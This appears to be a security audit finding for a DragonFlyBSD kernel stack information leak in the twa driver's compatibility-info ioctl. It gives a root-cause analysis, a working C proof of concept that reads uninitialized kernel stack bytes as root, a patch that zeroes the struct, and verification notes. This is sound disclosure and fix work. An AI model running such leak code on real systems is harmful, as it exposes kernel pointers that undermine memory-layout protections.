β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1532

Kernel stack info leak via TW_CL_IOCTL_GET_COMPATIBILITY_INFO

  • File: sys/dev/raid/twa/tw_cl_io.c
  • Lines: 656, 663, 681, 685
  • Severity: Low
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:L/I:N/A:N
  • CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • Confidence: certain

Summary

TW_CL_IOCTL_GET_COMPATIBILITY_INFO assembles a stack-local struct tw_cl_compatibility_packet, initializes only the first 13 bytes of its 32-byte driver_version field (sizeof("3.80.06.003")=13 via tw_osl_share.h:78), then memcpy's the entire struct back to userland.

The 19 trailing uninitialized bytes of driver_version leak whatever kernel stack content was there (return addresses, kernel pointers, prior call frames) to the caller. KASLR / stack-info hardening is undermined on every call.

Root cause

At tw_cl_io.c:656:

struct tw_cl_compatibility_packet comp_pkt;

is declared on the stack with no initializer.

At tw_cl_io.c:661-663 only tw_osl_memcpy(comp_pkt.driver_version, TW_OSL_DRIVER_VERSION_STRING, sizeof(TW_OSL_DRIVER_VERSION_STRING)) is called; sizeof("3.80.06.003") is 13 (tw_osl_share.h:78), but driver_version is TW_UINT8[32] (tw_cl_ioctl.h:71), so bytes [13..31] remain uninitialized stack.

All other comp_pkt fields are then explicitly assigned (tw_cl_io.c:664-677), but the 19 stack bytes survive.

At tw_cl_io.c:681-685 the whole struct is copied back to user_buf->data_buf with length min(sizeof(comp_pkt), buffer_length).

Any buffer_length > 12 leaks uninitialized bytes; the natural caller choice (buffer_length >= sizeof(comp_pkt) ~= 56) leaks all 19 bytes every call.

Threat

Any local process able to open /dev/twa%d (UID 0 only, since tw_osl_freebsd.c:405-407 creates the node mode 0600 owner=root) can issue TW_CL_IOCTL_GET_COMPATIBILITY_INFO (_IOWR('T', 209, ...) per tw_osl_ioctl.h:111-112) and read up to 19 bytes of uninitialized kernel stack per call.

Repeated calls sample stack frames of the syscall path.

Practical impact is bounded because the device is root-only, but the leak is unconditional and trivially reproducible, and defeats kernel-stack-info-leak hardening on the twa ioctl path.

No memory corruption; pure read primitive of kernel stack bytes.

Exploit / PoC

/* twa_leak.c β€” cc -O2 -o twa_leak twa_leak.c ; run as root */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#define TWA_IOCTL_GET_COMPAT_INFO _IOWR('T', 209, struct compat_ioctl_buf)
struct tw_cl_driver_packet { uint32_t cc,status,uid,seq,osstat,buflen; };
struct compat_pkt {
    uint8_t  driver_version[32];
    uint16_t working_srl, working_branch, working_build;
    uint16_t drv_srl_hi, drv_br_hi, drv_bld_hi;
    uint16_t drv_srl_lo, drv_br_lo, drv_bld_lo;
    uint16_t fw_srl, fw_br, fw_bld;
} __attribute__((packed));
struct compat_ioctl_buf {
    struct tw_cl_driver_packet driver_pkt;
    uint8_t padding[488];
    uint8_t cmd_pkt[1024];
    struct compat_pkt payload;
} __attribute__((packed));

int main(void) {
    int fd = open("/dev/twa0", O_RDWR);
    if (fd < 0) { perror("open /dev/twa0"); return 1; }
    struct compat_ioctl_buf b;
    memset(&b, 0xA5, sizeof b);
    b.driver_pkt.buflen = sizeof(struct compat_pkt);
    if (ioctl(fd, TWA_IOCTL_GET_COMPAT_INFO, &b) < 0) { perror("ioctl"); return 1; }
    printf("driver_version[13..31]:");
    for (int i = 13; i < 32; i++) printf(" %02x", b.payload.driver_version[i]);
    printf("\n");
    return 0;
}

Build: cc -O2 -o twa_leak twa_leak.c. Run as root on a host with a twa(4) controller.

Success criterion: the printed bytes contain anything other than 0xA5 (i.e. real kernel stack bytes such as pointers / return addresses).

Repeat in a tight loop to sample stack frames; bytes will vary across calls confirming uninitialized stack rather than fixed memory.

Zero comp_pkt before partial initialization.

--- a/sys/dev/raid/twa/tw_cl_io.c
+++ b/sys/dev/raid/twa/tw_cl_io.c
@@ -655,6 +655,7 @@
        struct tw_cl_compatibility_packet   comp_pkt;

        tw_cli_dbg_printf(3, ctlr_handle, tw_osl_cur_func(),
            "Get compatibility info");
+       tw_osl_memzero(&comp_pkt, sizeof(comp_pkt));

        tw_osl_memcpy(comp_pkt.driver_version,
            TW_OSL_DRIVER_VERSION_STRING,

This guarantees driver_version[13..31] are zero on return.

Alternatively, copy only strlen(VERSION)+1 bytes into driver_version and explicitly zero the trailing bytes, but memzero is the smaller diff and matches what tw_cl_init.c:289 already does for the AEN queue.

  • DF-1533 (sibling): unbounded cmd_7k->generic.size SG-list OOB write in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1532 Β· 4 files
FileTypeDescriptionSize
fix.diff suggested-fix Fix for twa compatibility packet stack info leak 310 B view raw
VERDICT.md verdict Source-only verification verdict 804 B ↓ raw
build.sh build-script No-op (source-only) 109 B view raw
run.sh run-script No-op (source-only) 107 B view raw
VERDICT.md verdict Source-only verification verdict
↓ download raw

VERDICT DF-1532: twa compatibility packet stack info leak

Verdict

REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.

Mechanism

comp_pkt declared on stack without initializer; padding bytes leaked to userspace.

Source reference: sys/dev/raid/twa/tw_cl_io.c:656-663.

Reproduction

Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed. The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present on the QEMU/virtio guest. The finding is HW-gated.

Fix

Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with make -j6 nativekernel KERNCONF=X86_64_GENERIC β€” rc=0, -Werror clean.

See fix.diff for the git-apply-able patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Combined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.

'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master DEV (41 fix.diffs applied)

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source confirmed: sys/dev/raid/twa/tw_cl_io.c:656. Combined 41-fix kernel build rc=0 -Werror clean.

PoC changes

fix.diff authored; validated by combined kernel build.

Verified recommended fix

bzero comp_pkt. Matches finding.

Verdict

REPRODUCED (source-confirmed). comp_pkt on stack uninitialized; padding leaked. Cited path verified at sys/dev/raid/twa/tw_cl_io.c:656. HW/module-gated on QEMU guest.